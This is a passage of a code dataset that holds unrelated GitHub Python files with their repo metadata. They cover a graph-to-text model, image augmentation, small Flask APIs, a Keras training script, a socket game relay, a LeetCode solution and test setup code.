mask[i][0][m[0]]=1\n else:\n planlogits = None\n\n\n # Glob Removes gradient backward path\n # B x hz\n cx = hx.clone().detach().requires_grad_(True)\n a = torch.zeros_like(hx) #self.attn(hx.unsqueeze(1),keys,mask=mask).squeeze(1)\n\n if self.args.title:\n # Attend last entity of each sample graph to each word in sentence in the title\n # B x hz\n # tencs size B x max_seq_length (rest padded and thats why we use mask) x hz\n a2 = self.attn2(hx.unsqueeze(1),tencs,mask=tmask).squeeze(1)\n\n #B * 2hz\n a = torch.cat((a,a2),1)\n #e = outp.transpose(0,1)\n\n # max max length of words * (B) * hz?\n e = self.emb(outp).transpose(0,1)\n outputs = []\n # each 1,2,3 word in a batch\n for i, k in enumerate(e):\n #k = self.emb(k)\n if self.args.plan:\n if schange[i].nonzero().size(0)>0:\n planplace[schange[i].nonzero().squeeze()]+=1\n for j in schange[i].nonzero().squeeze(1):\n if planplace[j]=self.ntoks\n if mask.sum()>0:\n idxs = (outp-self.ntoks)\n idxs = idxs[mask]\n\n verts = vertex.index_select(0,idxs)\n\n outp.masked_scatter_(mask,verts)\n return outp\n\n def beam_generate(self,b,beamsz,k):\n if self.args.title:\n tencs,_ = self.tenc(b.src)\n tmask = self.maskFromList(tencs.size(),b.src[1]).unsqueeze(1)\n ent_embs = self.vertex_embeddings(b, False)[4]\n entlens = []\n offset = 0\n for count, nlen in enumerate(b.doc_len):\n entlens.append(sum(b.ner_len[offset:offset + nlen]))\n offset += nlen\n\n ents = self.vertex_embeddings.pad_entities(ent_embs, entlens)\n entlens = torch.tensor(entlens)\n rel_lengths = [len(item) for item in b.relsraw]\n rel_indices = [item for sublist in b.relsraw for item in sublist]\n b.rels = self.rel_embs.weight[rel_indices].split(rel_lengths)\n\n if self.graph:\n gents,glob,grels = self.ge(b.adj,b.rels,(ents,entlens))\n\n hx = glob\n #hx = ents.max(dim=1)[0]\n keys,mask = grels\n mask = mask==0\n else:\n mask = self.maskFromList(ents.size(),entlens)\n hx = ents.max(dim=1)[0]\n keys =ents\n mask = mask.unsqueeze(1)\n if self.args.plan:\n planlogits = self.splan.plan_decode(hx,keys,mask.clone(),entlens)\n print(planlogits.size())\n sorder = ' '.join([str(x) for x in planlogits.max(1)[1][0].tolist()])\n print(sorder)\n sorder = [x.strip() for x in sorder.split(\"-1\")]\n sorder = [[int(y) for y in x.strip().split(\" \")] for x in sorder]\n mask.fill_(0)\n planplace = torch.zeros(hx.size(0)).long()\n for i,m in enumerate(sorder):\n mask[i][0][m[0]]=1\n else:\n planlogits = None\n\n cx = hx.clone().detach().requires_grad_(True)\n a = self.attn(hx.unsqueeze(1),keys,mask=mask).squeeze(1)\n\n if self.args.title:\n a2 = self.attn2(hx.unsqueeze(1),tencs,mask=tmask).squeeze(1)\n a = torch.cat((a,a2),1)\n outputs = []\n\n\n outp = torch.LongTensor(ents.size(0),1).fill_(self.starttok).cuda()\n beam = None\n for i in range(self.maxlen):\n op = self.emb_w_vertex(outp.clone(),b.nerd)\n if self.args.plan:\n schange = op==self.args.dottok\n if schange.nonzero().size(0)>0:\n print(schange, planplace, sorder)\n planplace[schange.nonzero().squeeze()]+=1\n for j in schange.nonzero().squeeze(1):\n if planplace[j]1, 600*800,最多degree=10\n :param angle: 运动角度,可随机设置,[0,360]\n url: https://www.cnblogs.com/arkenstone/p/8480759.html\n \"\"\"\n\n if degree <= 1:\n raise ValueError(\"degree should > 1.\")\n\n img = np.array(img)\n # 这里生成任意角度的运动模糊kernel的矩阵, degree越大,模糊程度越高\n M = cv2.getRotationMatrix2D((degree / 2, degree / 2), angle, 1)\n motion_blur_kernel = np.diag(np.ones(degree))\n motion_blur_kernel = cv2.warpAffine(motion_blur_kernel, M, (degree, degree))\n motion_blur_kernel = motion_blur_kernel / degree\n blurred = cv2.filter2D(img, -1, motion_blur_kernel)\n # convert to uint8\n cv2.normalize(blurred, blurred, 0, 255, cv2.NORM_MINMAX)\n blurred = np.array(blurred, dtype=np.uint8)\n return blurred\n\n\ndef gauss_blur(img, degree=7, sigmaX=0, sigmaY=0):\n \"\"\" 对焦模糊,degree越大,模糊程度越高\n :param degree: 大于1的奇数\n url: https://www.cnblogs.com/arkenstone/p/8480759.html\n \"\"\"\n\n if degree <= 1:\n raise ValueError(\"degree should > 1.\")\n degree = degree // 2 * 2 + 1\n img = cv2.GaussianBlur(img, ksize=(degree, degree), sigmaX=sigmaX, sigmaY=sigmaY)\n return img\n\n\ndef gauss_noise(img, degree=None):\n \"\"\" 在每个像素点添加随机扰动\n :param degree: > 0\n url: https://www.cnblogs.com/arkenstone/p/8480759.html\n \"\"\"\n\n row, col, ch = img.shape\n mean = 0\n if not degree:\n var = np.random.uniform(0.004, 0.01)\n else:\n var = degree\n sigma = var ** 0.5\n gauss = np.random.normal(mean, sigma, (row, col, ch))\n gauss = gauss.reshape(row, col, ch)\n noisy = img + gauss\n cv2.normalize(noisy, noisy, 0, 255, norm_type=cv2.NORM_MINMAX)\n noisy = np.array(noisy, dtype=np.uint8)\n return noisy\n\n\ndef adjust_compress(img, ratio):\n \"\"\" jpeg图像质量压缩\n :param ratio: [0~100], 数值越小,压缩比越高,图片质量损失越严重\n \"\"\"\n\n assert len(img.shape) == 3 and ratio <= 100 and ratio >= 0\n\n params = [cv2.IMWRITE_JPEG_QUALITY, ratio] # ratio:0~100\n msg = cv2.imencode(\".jpg\", img, params)[1]\n msg = (np.array(msg)).tostring()\n img = cv2.imdecode(np.fromstring(msg, np.uint8), cv2.IMREAD_COLOR)\n return img\n\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"alexzhang19/idata","sub_path":"idata/augment/quality/quality_cv.py","file_name":"quality_cv.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"26650150256","text":"''' Read input from STDIN. Print your output to STDOUT '''\n #Use input() to read input from STDIN and use print to write your output to STDOUT\nimport sys\nfrom collections import namedtuple\ndef main():\n\n # Write code here \n studlist =[]\n marks=[]\n n = int(input())\n headings = input().rstrip().split()\n Student = namedtuple(\"Student\",headings)\n for _ in range(n):\n \theadings = input().rstrip().split()\n \tstudlist.append(Student(*headings))\n\n for stud in studlist:\n marks.append(int(stud.marks))\n \n avg =\"{:.2f}\".format( (sum(marks)/(n*100))*100)\n sys.stdout.write(avg)\n\nmain()\n\n","repo_name":"Soluspero/coding_practice","sub_path":"techgig_solutions/python_practice/collections/collection_namedtuple.py","file_name":"collection_namedtuple.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71510281627","text":"#!flask/bin/python\n\n\"\"\"Alternative version of the ToDo RESTful server implemented using the\nFlask-RESTful extension.\"\"\"\n\nfrom flask import Flask, jsonify, abort, request, make_response, url_for\nfrom flask.views import MethodView\nfrom flask.ext.restful import Api, Resource, reqparse, fields, marshal\nfrom flask.ext.httpauth import HTTPBasicAuth\nimport datarec\nimport db\nimport data_structure as struct\nfrom data_structure import *\n \napp = Flask(__name__, static_url_path = \"\")\napi = Api(app)\nauth = HTTPBasicAuth()\ndb.mongo_connect()\n \n@auth.get_password\ndef get_password(username):\n if username == 'jercoh':\n return 'jercoh'\n return None\n \n@auth.error_handler\ndef unauthorized():\n return make_response(jsonify( { 'message': 'Unauthorized access' } ), 403)\n # return 403 instead of 401 to prevent browsers from displaying the default auth dialog\n \nuser_fields = {\n 'name': fields.String,\n 'content': fields.List,\n 'content_url': fields.List\n}\n\ncontent_fields = {\n 'content': fields.String,\n 'url': fields.String\n}\n\nclass ClientsAPI(Resource):\n decorators = [auth.login_required]\n\n def __init__(self):\n self.reqparse = reqparse.RequestParser()\n self.reqparse.add_argument('name', type = str, required = True, help = 'No client name provided', location = 'json')\n self.reqparse.add_argument('contents', default = [], location = 'json')\n super(ClientsAPI, self).__init__()\n \n def get(self):\n return struct.User.objects.all().to_json()\n\n def post(self):\n args = self.reqparse.parse_args()\n user = struct.User(name = args['name'])\n contents = []\n for obj in marshal(args['contents'], content_fields):\n content = struct.Content(content = obj['content'], url = obj['url'])\n contents.push(content)\n user.contents = contents\n user.save()\n return { 'user': user.to_json() }, 201\n\nclass ClientAPI(Resource):\n decorators = [auth.login_required]\n \n def __init__(self):\n self.reqparse = reqparse.RequestParser()\n self.reqparse.add_argument('title', type = str, location = 'json')\n self.reqparse.add_argument('description', type = str, location = 'json')\n self.reqparse.add_argument('done', type = bool, location = 'json')\n super(TaskAPI, self).__init__()\n\n def get(self, id):\n task = filter(lambda t: t['id'] == id, tasks)\n if len(task) == 0:\n abort(404)\n return { 'task': marshal(task[0], task_fields) }\n \n def put(self, id):\n task = filter(lambda t: t['id'] == id, tasks)\n if len(task) == 0:\n abort(404)\n task = task[0]\n args = self.reqparse.parse_args()\n for k, v in args.iteritems():\n if v != None:\n task[k] = v\n return { 'task': marshal(task, task_fields) }\n\n def delete(self, id):\n task = filter(lambda t: t['id'] == id, tasks)\n if len(task) == 0:\n abort(404)\n tasks.remove(task[0])\n return { 'result': True }\n\napi.add_resource(ClientsAPI, '/todo/api/v1.0/users', endpoint = 'users')\napi.add_resource(ClientAPI, '/todo/api/v1.0/users/', endpoint = 'user')\n \nif __name__ == '__main__':\n app.run(debug = True)","repo_name":"jercoh/datarec-api","sub_path":"datarecapi.py","file_name":"datarecapi.py","file_ext":"py","file_size_in_byte":3282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71114611549","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*- \n\"\"\"\nfileName: test.py\nCreated Time: 2017年08月17日 星期四 20时38分41秒\ndescription:\n\"\"\"\n\n__author__ = 'yi_Xu'\n\nimport logging\nlogger = logging.getLogger(\"logger\")\n\ndef test():\n logger.debug(\"测试debug\")\n logger.info(\"测试info\")\n logger.warn(\"测试warn\")\n logger.error(\"测试error\")\n logger.critical(\"测试critical\")\n","repo_name":"yi-Xu-0100/ExcelWashing","sub_path":"Testzirb/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17150146157","text":"'''Train vgg19 on tiny-imagenet\r\n'''\r\n#system\r\nimport os, sys\r\nimport matplotlib.pyplot as plt\r\n\r\n#keras\r\nfrom keras.models import load_model\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nfrom keras.optimizers import Adam\r\nfrom keras.callbacks import Callback\r\n\r\n#custom\r\nfrom vgg19 import vgg19\r\nsys.path.insert(0, os.path.abspath(\"..\"))\r\nfrom tiny_imagenet.load_tiny_imagenet import load_images\r\n\r\n\r\n######Params######\r\nmodel_name = 'vgg19'\r\ndata_format = 'channels_first'\r\nimage_size = 64\r\nnb_classes = 200\r\nnb_epochs = 30\r\ntrain_batchsize = 32\r\nval_batchsize = 4\r\n\r\nweights_path = './weights_h5'\r\n\r\n\r\n######Model######\r\ncur_epoch=0\r\nfile_name = ''\r\nfor file in os.listdir(weights_path):\r\n file_name_list = file.split('.')\r\n if file_name_list[-1] == 'h5':\r\n cur_epoch = int(file_name_list[-2])\r\n file_name=file\r\n\r\nif cur_epoch != 0:\r\n model = load_model(weights_path + '/' + file_name)\r\nelse:\r\n model = vgg19(weights=False, data_format=data_format, image_size=image_size, nb_classes=nb_classes)\r\n model.compile(loss='categorical_crossentropy',\r\n optimizer=Adam(lr=0.001),\r\n metrics=['acc'])\r\n#model.summary()\r\n\r\n\r\n######Data######\r\n#Load images\r\ndata_path='../tiny_imagenet/tiny-imagenet-200'\r\n\r\nX_train,Y_train,X_val,Y_val=load_images(data_path,nb_classes)\r\ntrain_samples=len(X_train)\r\nval_samples=len(X_val)\r\n\r\nprint('X_train shape:', X_train.shape)\r\nprint(X_train.shape[0], 'train samples')\r\nprint(X_val.shape[0], 'validation samples')\r\n\r\n#Generate train data\r\n# Change the batchsize according to your system RAM\r\ntrain_datagen = ImageDataGenerator(\r\n rotation_range=10,\r\n width_shift_range=0.1,\r\n height_shift_range=0.1,\r\n horizontal_flip=True,\r\n fill_mode='nearest',\r\n data_format=data_format)\r\ntrain_generator = train_datagen.flow(\r\n x=X_train,\r\n y=Y_train,\r\n batch_size=train_batchsize)\r\n\r\nvalidation_datagen = ImageDataGenerator(data_format=data_format)\r\nvalidation_generator = validation_datagen.flow(\r\n x=X_val,\r\n y=Y_val,\r\n batch_size=val_batchsize,\r\n shuffle=False)\r\n\r\n\r\n######Logging######\r\nclass CustomCallback(Callback):\r\n '''\r\n '''\r\n def __init__(self, nb_epochs, model_name):\r\n self.nb_epochs = nb_epochs\r\n self.model_name = model_name\r\n self.f = open('./logs/' + model_name + '_log.txt', 'a')\r\n \r\n def on_batch_end(self, batch, logs={}):\r\n self.f.write('batch {}/{} - loss: {:.4f} - acc: {:.4f}\\n'.format(batch+1,logs['size'],logs['loss'],logs['acc']))\r\n print()\r\n\r\n def on_epoch_begin(self, epoch, logs={}):\r\n self.f.write(' Epoch {}\\n'.format(epoch+1))\r\n \r\n def on_epoch_end(self, epoch, logs={}):\r\n self.f.write('epoch {}/{} - loss: {:.4f} - acc: {:.4f} - val_loss: {:.4f} - val_acc: {:.4f}\\n'.format(epoch+1,self.nb_epochs,logs['loss'],logs['acc'],logs['val_loss'],logs['val_acc']))\r\n model.save(weights_path + '/' + self.model_name + '_weights.' + str(epoch+1) + '.h5')\r\n \r\n def on_train_end(self, logs={}):\r\n self.f.close()\r\n print('Training End!')\r\n\r\n\r\n######Training######\r\nhistory = model.fit_generator(\r\n train_generator,\r\n #steps_per_epoch=train_samples/train_generator.batch_size ,\r\n epochs=nb_epochs,\r\n validation_data=validation_generator,\r\n #validation_steps=val_samples/validation_generator.batch_size,\r\n verbose=1,\r\n initial_epoch=cur_epoch,\r\n callbacks=[CustomCallback(nb_epochs,model_name)])\r\n\r\n\r\n######Print result######\r\nacc = history.history['acc']\r\nval_acc = history.history['val_acc']\r\nloss = history.history['loss']\r\nval_loss = history.history['val_loss']\r\n \r\nepochs = range(len(acc))\r\n\r\nplt.figure()\r\nplt.plot(epochs, loss, 'b', label='Training loss')\r\nplt.plot(epochs, val_loss, 'r', label='Validation loss')\r\nplt.title('Training and validation loss')\r\nplt.legend()\r\nplt.savefig('./logs/' + model_name + '_loss.JPEG')\r\nplt.close()\r\n\r\nplt.figure()\r\nplt.plot(epochs, acc, 'b', label='Training acc')\r\nplt.plot(epochs, val_acc, 'r', label='Validation acc')\r\nplt.title('Training and validation accuracy')\r\nplt.legend()\r\nplt.svaefig('./logs/' + model_name + '_acc.JPEG')\r\nplt.close()\r\n\r\n","repo_name":"Hamidu68/dnn-acceleration","sub_path":"training/vgg19/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"30922394801","text":"# Handles client and server interactions\n# Should be opened in a new thread\nimport random\nimport struct\nimport sys\nimport thread\n\ndef game(client1, addr1, client2, addr2, lock):\n # send client the initial state\n packet1 = struct.pack('b26s', 26, 'Game Starting!\\nYour Turn!')\n client1.send(packet1)\n packet2 = struct.pack('b38s', 38, 'Game Starting!\\nWaiting for Player1...')\n client2.send(packet2)\n\n message_receiver = [client1, client2]\n count = 0\n while True:\n client1 = message_receiver[count % 2]\n client2 = message_receiver[(count + 1) % 2]\n receive_packet = client1.recv(1024)\n if receive_packet:\n client2.send(receive_packet)\n\n #switch to another player\n count += 1\n\n\n client1.close()\n client2.close() # Close the connection\n thread.exit()\n","repo_name":"lealex262/IoTBattleShip","sub_path":"connected_game.py","file_name":"connected_game.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"14004368800","text":"\"\"\"\ndemo10_anim.py\n\"\"\"\nimport matplotlib.pyplot as mp\nimport matplotlib.animation as ma\nimport numpy as np\n\n# 随机生成100个对象\nn = 100\nballs = np.zeros(100,dtype=np.dtype([\n ('position',float,2), # 位置(水平和垂直坐标)\n ('size',float,1), # 大小\n ('growth',float,1), # 生长速度\n ('color',float,4) # 颜色(红,绿,蓝和透明度)\n]))\n# 初始化balls数组每个字段的属性值\nballs['position']=np.random.uniform(0,1,(n,2))\n# for ball in balls:\n# print(ball)\nballs['size']=np.random.uniform(50,70,n)\nballs['growth']=np.random.uniform(10,20,n)\nballs['color']=np.random.uniform(0,1,(n,4))\n# 画图\nmp.figure(\"Animation\",facecolor='lightgray')\nmp.title(\"Animation\",fontsize=16)\nmp.xticks([])\nmp.yticks([])\nsc = mp.scatter(\n balls['position'][:,0],\n balls['position'][:,1],\n balls['size'],\n color=balls['color']\n)\n\ndef update(number):\n # 选择一个点\n index = number % 100\n # 重新修改index位置元素的属性\n balls['position'][index] = np.random.uniform(0,1,(1,2))\n balls['size'][index] = np.random.uniform(50,70,1)\n balls['size'] += balls['growth']\n # 重新绘制\n sc.set_sizes(balls['size']) # 更新大小\n sc.set_offsets(balls['position']) # 更新位置\n\n# 动起来\nanim = ma.FuncAnimation(mp.gcf(),update,interval=30)\nmp.show()","repo_name":"DongHaoDong/AID1908","sub_path":"study/1905/month01/code/Stage5/day03/demo10_anim.py","file_name":"demo10_anim.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12847388940","text":"import pandas as pd \nimport plotly.offline as pyo \nimport plotly.graph_objs as go \n\ndf = pd.read_csv('dados/2010YumaAZ.csv')\ndays = ['TUESDAY','WEDNESDAY','THURSDAY','FRIDAY','SATURDAY','SUNDAY','MONDAY']\n\ndata = []\n\nfor day in days:\n trace = go.Scatter(x=df['LST_TIME'],y=df[df['DAY']==day]['T_HR_AVG'],mode='lines',name=day)\n data.append(trace)\n\n# Define o layout\nlayout = go.Layout(title='Temperaturas médias diárias')\n\n# Cria uma figura através dos dados e layout\nfig = go.Figure(data=data,layout=layout)\npyo.plot(fig, filename='HTML/lines_exercicio.html')","repo_name":"the-akira/DataScience","sub_path":"experimentos/plotly/lines_exercicio.py","file_name":"lines_exercicio.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"11"} +{"seq_id":"24700198842","text":" \nfrom application import app\nimport random\nimport requests\nfrom flask import request \nimport csv\n\n\n@app.route('/randomprize', methods=['GET'])\ndef randomprize():\n # prizelist = [\"\",\"\",\"\",\"\",\"\",\"\",\"\"]\n prizetype = request.args.get('ptype')\n prizenum = random.randrange(0,6)\n with open('/opt/service3/application/prizes.txt') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = -1\n for row in csv_reader:\n line_count += 1\n if line_count == 0 and prizetype == \"good\":\n prize = str(row[prizenum])\n elif line_count == 1 and prizetype == \"average\":\n prize = str(row[prizenum])\n elif line_count == 2 and prizetype == \"bad\":\n prize = str(row[prizenum])\n # if prize_type == 'good':\n # prizelist = ['an Ipad','a Ferrari','1,000,000 pounds','an Xbox','a years supply of food','a holiday to Miami','a new house']\n # elif prize_type == 'average':\n # prizelist = ['a chocolate bar','20 pounds','a new book','a free meal','a new top','a pair of sunglasses','some flowers']\n # elif prize_type == 'bad':\n # prizelist = ['nothing','a single sock','a used tissue','a broken Yo-Yo','out of date cheese','an empty box','a sheet of paper']\n \n # prize = prizelist[random.randrange(7)]\n print(prize)\n \n return prize","repo_name":"Bailey-Elson/Random-Prize-Generator","sub_path":"Service3/application/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12253870129","text":"import sys\n\nX, Y = (0, 0)\ncount = ''\ndirection = 'North'\n\n\ndef right():\n global direction\n if direction == 'North':\n direction = 'East'\n elif direction == 'East':\n direction = 'South'\n elif direction == 'South':\n direction = 'West'\n elif direction == 'West':\n direction = 'North'\n\n\ndef left():\n global direction\n if direction == 'North':\n direction = 'West'\n elif direction == 'East':\n direction = 'North'\n elif direction == 'South':\n direction = 'East'\n elif direction == 'West':\n direction = 'South'\n\n\ndef walk():\n global count, X, Y, direction\n if count == '':\n return None\n\n if direction == 'North':\n Y += int(count)\n elif direction == 'East':\n X += int(count)\n elif direction == 'South':\n Y -= int(count)\n elif direction == 'West':\n X -= int(count)\n count = ''\n return None\n\n\ncommand = ''\ntry:\n command = sys.argv[1].lower()\nexcept:\n print('[-] Please enter a bot command.')\n exit(0)\n\nfor i in range(len(command)):\n if command[i] == 'r':\n walk()\n right()\n\n elif command[i] == 'l':\n walk()\n left()\n\n elif command[i] == 'w':\n walk()\n i += 1\n continue\n else:\n count += command[i]\nif count != '':\n walk()\n\n\nprint(f'X: {X} Y: {Y} Direction: {direction}')\n","repo_name":"Saphall/Code-Challenges","sub_path":"1Maqe_bot.py","file_name":"1Maqe_bot.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"14296817433","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Time : 2019/5/19 10:53 AM\n@Author : ddlee\n@File : code2.py\n\"\"\"\nimport sys\n\n\"\"\"\n1052. 爱生气的书店老板\n今天,书店老板有一家店打算试营业 customers.length 分钟。\n每分钟都有一些顾客(customers[i])进入书店,所有这些顾客都会在那一分钟结束后离开。\n在某些时候,书店老板会生气。 如果书店老板在第 i 分钟生气,那么 grumpy[i] = 1,否则 grumpy[i] = 0。 \n当书店老板生气时,那一分钟的顾客就会不满意,否则他们是满意的。\n书店老板知道一个秘密技巧,可以让自己连续 X 分钟不生气,但只能使用一次。\n返回全天可满足的最大客户数量。\n \n示例:\n\n输入:customers = [1,0,1,2,1,1,7,5], grumpy = [0,1,0,1,0,1,0,1], X = 3\n输出:16\n解释:\n书店老板在最后 3 分钟保持冷静。\n可满足的最大客户数 = 1 + 1 + 1 + 1 + 7 + 5 = 16.\n\"\"\"\n\n\nclass Solution:\n def maxSatisfied1(self, customers, grumpy, X) -> int:\n l = len(grumpy)\n if l <= X:\n return sum(customers)\n\n res = sys.maxsize\n for i in range(l - X + 1):\n new_grumpy = grumpy[:i] + [0] * X + grumpy[i + X:]\n # print(new_grumpy)\n tmp = 0\n for j in range(l):\n if new_grumpy[j] == 1:\n tmp += customers[j]\n # print(tmp)\n res = min(res, tmp)\n # print(res)\n return sum(customers) - res\n\n def maxSatisfied2(self, customers, grumpy, X):\n \"\"\"\n :type customers: List[int]\n :type grumpy: List[int]\n :type X: int\n :rtype: int\n \"\"\"\n # for i in range(len(grumpy)):\n # grumpy[i] = 1 - grumpy[i]\n\n l = len(grumpy)\n if l <= X:\n return sum(customers)\n\n dp = [0 for i in range(l + 1)]\n cnt = 0\n for i in range(l):\n if not grumpy[i]:\n cnt += customers[i]\n dp[i + 1] = dp[i] + customers[i] * grumpy[i]\n print(dp)\n print(cnt)\n\n ans = 0\n for i in range(1, l + 1):\n j = max(i - X, 0)\n ans = max(ans, cnt + dp[i] - dp[j])\n\n return ans\n\n def maxSatisfied(self, customers, grumpy, X):\n \"\"\"\n :type customers: List[int]\n :type grumpy: List[int]\n :type X: int\n :rtype: int\n \"\"\"\n now = 0\n ans = 0\n for i in range(len(customers)):\n if grumpy[i] == 0:\n now += customers[i]\n print(now)\n for i in range(X):\n if grumpy[i] == 1:\n now += customers[i]\n print(now)\n\n ans = max(now, ans)\n for head in range(len(customers) - X):\n if grumpy[head] == 1:\n now -= customers[head]\n if grumpy[head + X] == 1:\n now += customers[head + X]\n ans = max(now, ans)\n return ans\n\n\nif __name__ == '__main__':\n customers = [1, 0, 1, 2, 1, 1, 7, 5]\n grumpy = [0, 1, 0, 1, 0, 1, 0, 1]\n # customers = [4, 10, 10]\n # grumpy = [1, 1, 0]\n X = 3\n\n print(Solution().maxSatisfied(customers, grumpy, X))\n","repo_name":"blldd/PythonExercise","sub_path":"leetcode_comp/week3/code2.py","file_name":"code2.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11623213076","text":"import sys\n\nimport cmk.utils.version as cmk_version\nfrom cmk.utils.site import omd_site\n\nfrom cmk.gui.http import request\nfrom cmk.gui.openapi.endpoints.version.response_schemas import InstalledVersions\nfrom cmk.gui.openapi.restful_objects import Endpoint\nfrom cmk.gui.openapi.utils import serve_json\n\n\n@Endpoint(\n \"/version\",\n \"cmk/show\",\n tag_group=\"Monitoring\",\n method=\"get\",\n response_schema=InstalledVersions,\n)\ndef search(param):\n \"\"\"Display some version information\"\"\"\n if request.args.get(\"fail\"):\n raise Exception(\"This is an intentional failure.\")\n return serve_json(\n {\n \"site\": omd_site(),\n \"group\": request.environ.get(\"mod_wsgi.application_group\", \"unknown\"),\n \"rest_api\": {\n \"revision\": \"0\",\n },\n \"versions\": {\n \"apache\": request.environ.get(\"apache.version\", \"unknown\"),\n \"checkmk\": cmk_version.omd_version(),\n \"python\": sys.version,\n \"mod_wsgi\": request.environ.get(\"mod_wsgi.version\", \"unknown\"),\n \"wsgi\": request.environ[\"wsgi.version\"],\n },\n \"edition\": cmk_version.edition().short,\n \"demo\": False,\n }\n )\n","repo_name":"Checkmk/checkmk","sub_path":"cmk/gui/openapi/endpoints/version/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":1176,"dataset":"github-code","pt":"11"} +{"seq_id":"5954237044","text":"# app/test/integration/peca_initial_workshop_test.py\n\n\nimport unittest\nimport json\nfrom datetime import datetime\nimport io\n\nfrom app import create_app, db\n\nfrom app.models.school_year_model import SchoolYear\nfrom app.models.coordinator_user_model import CoordinatorUser\nfrom app.models.school_user_model import SchoolUser\nfrom app.models.sponsor_user_model import SponsorUser\nfrom app.models.project_model import Project\nfrom app.models.peca_project_model import PecaProject, Lapse\nfrom app.models.role_model import Role\nfrom app.models.state_model import State, Municipality\nfrom app.helpers.handler_seeds import create_standard_roles\nfrom resources.images import test_image\n\n\nclass PecaInitialWorkshopTest(unittest.TestCase):\n def setUp(self):\n \"\"\"Define test variables and initialize app.\"\"\"\n self.app = create_app(config_instance=\"testing\")\n self.app.app_context().push()\n from app import db\n self.db = db\n self.client = self.app.test_client\n\n self.schoolYear = SchoolYear(\n name=\"Test\",\n startDate=\"2020-02-14\",\n endDate=\"2020-09-14\")\n self.schoolYear.initFirstPecaSetting()\n self.schoolYear.save()\n\n create_standard_roles()\n\n self.state = State(\n name=\"Lara\"\n )\n self.state.save()\n\n self.municipality = Municipality(\n state=self.state,\n name=\"Iribarren\"\n )\n self.municipality.save()\n\n self.coordinator = CoordinatorUser(\n firstName=\"Test\",\n lastName=\"Test\",\n cardType=\"1\",\n cardId=\"20922842\",\n birthdate=datetime.utcnow(),\n gender=\"1\",\n homePhone=\"02343432323\",\n addressHome=\"House 34A\",\n email=\"testemail@test.com\",\n password=\"12345678\",\n userType=\"2\",\n phone=\"02322322323\",\n role=Role.objects(devName=\"coordinator\").first(),\n addressState=self.state,\n addressMunicipality=self.municipality,\n isReferred=False\n )\n self.coordinator.save()\n\n self.sponsor = SponsorUser(\n name=\"Test\",\n companyRif=\"303993833\",\n companyType=\"2\",\n companyPhone=\"02343432323\",\n contactFirstName=\"Danel\",\n contactLastName=\"Ortega\",\n contactPhone=\"04244664646\",\n addressHome=\"House 34A\",\n email=\"testemail@test.com\",\n password=\"12345678\",\n userType=\"3\",\n role=Role.objects(devName=\"sponsor\").first(),\n addressState=self.state,\n addressMunicipality=self.municipality\n )\n self.sponsor.save()\n\n self.school = SchoolUser(\n name=\"School\",\n code=\"0002\",\n phone=\"02343432323\",\n schoolType=\"1\",\n principalFirstName=\"Danel\",\n principalLastName=\"Ortega\",\n principalEmail=\"testemail@test.com\",\n principalPhone=\"04244664646\",\n nTeachers=20,\n nAdministrativeStaff=20,\n nLaborStaff=20,\n nStudents=20,\n nGrades=20,\n nSections=20,\n schoolShift=\"1\",\n email=\"someschoolemail@test.com\",\n password=\"12345678\",\n userType=\"3\",\n role=Role.objects(devName=\"school\").first(),\n addressState=self.state,\n addressMunicipality=self.municipality\n )\n self.school.save()\n\n # create project\n self.project = Project(\n coordinator=self.coordinator,\n sponsor=self.sponsor,\n school=self.school\n )\n self.project.save()\n\n # create peca project\n self.pecaProject = PecaProject(\n schoolYear=self.schoolYear,\n schoolYearName=self.schoolYear.name,\n project={\n \"id\": str(self.project.id),\n \"code\": str(self.project.code),\n \"coordinator\": {\n \"id\": str(self.project.coordinator.id),\n \"name\": self.project.coordinator.firstName + \" \" + self.project.coordinator.lastName\n },\n \"sponsor\": {\n \"id\": str(self.project.sponsor.id),\n \"name\": self.project.sponsor.name\n },\n \"school\": {\n \"id\": str(self.project.school.id),\n \"name\": self.project.school.name\n }\n },\n school={\n \"name\": self.school.name,\n \"code\": self.school.code,\n \"addressState\": str(self.state.id),\n \"addressMunicipality\": str(self.municipality.id),\n \"principalFirstName\": self.school.principalFirstName,\n \"principalLastName\": self.school.principalLastName,\n \"principalEmail\": self.school.principalEmail,\n \"principalPhone\": self.school.principalPhone,\n \"nTeachers\": self.school.nTeachers,\n \"nGrades\": self.school.nGrades,\n \"nStudents\": self.school.nStudents,\n \"nAdministrativeStaff\": self.school.nAdministrativeStaff,\n \"nLaborStaff\": self.school.nLaborStaff,\n \"sections\": [\n ]\n }\n\n )\n self.pecaProject.save()\n\n def test_initial_workshop_peca(self):\n \"\"\"# enable initial workshop for lapse1\n requestData = dict(\n agreementFile=(io.BytesIO(b'hi 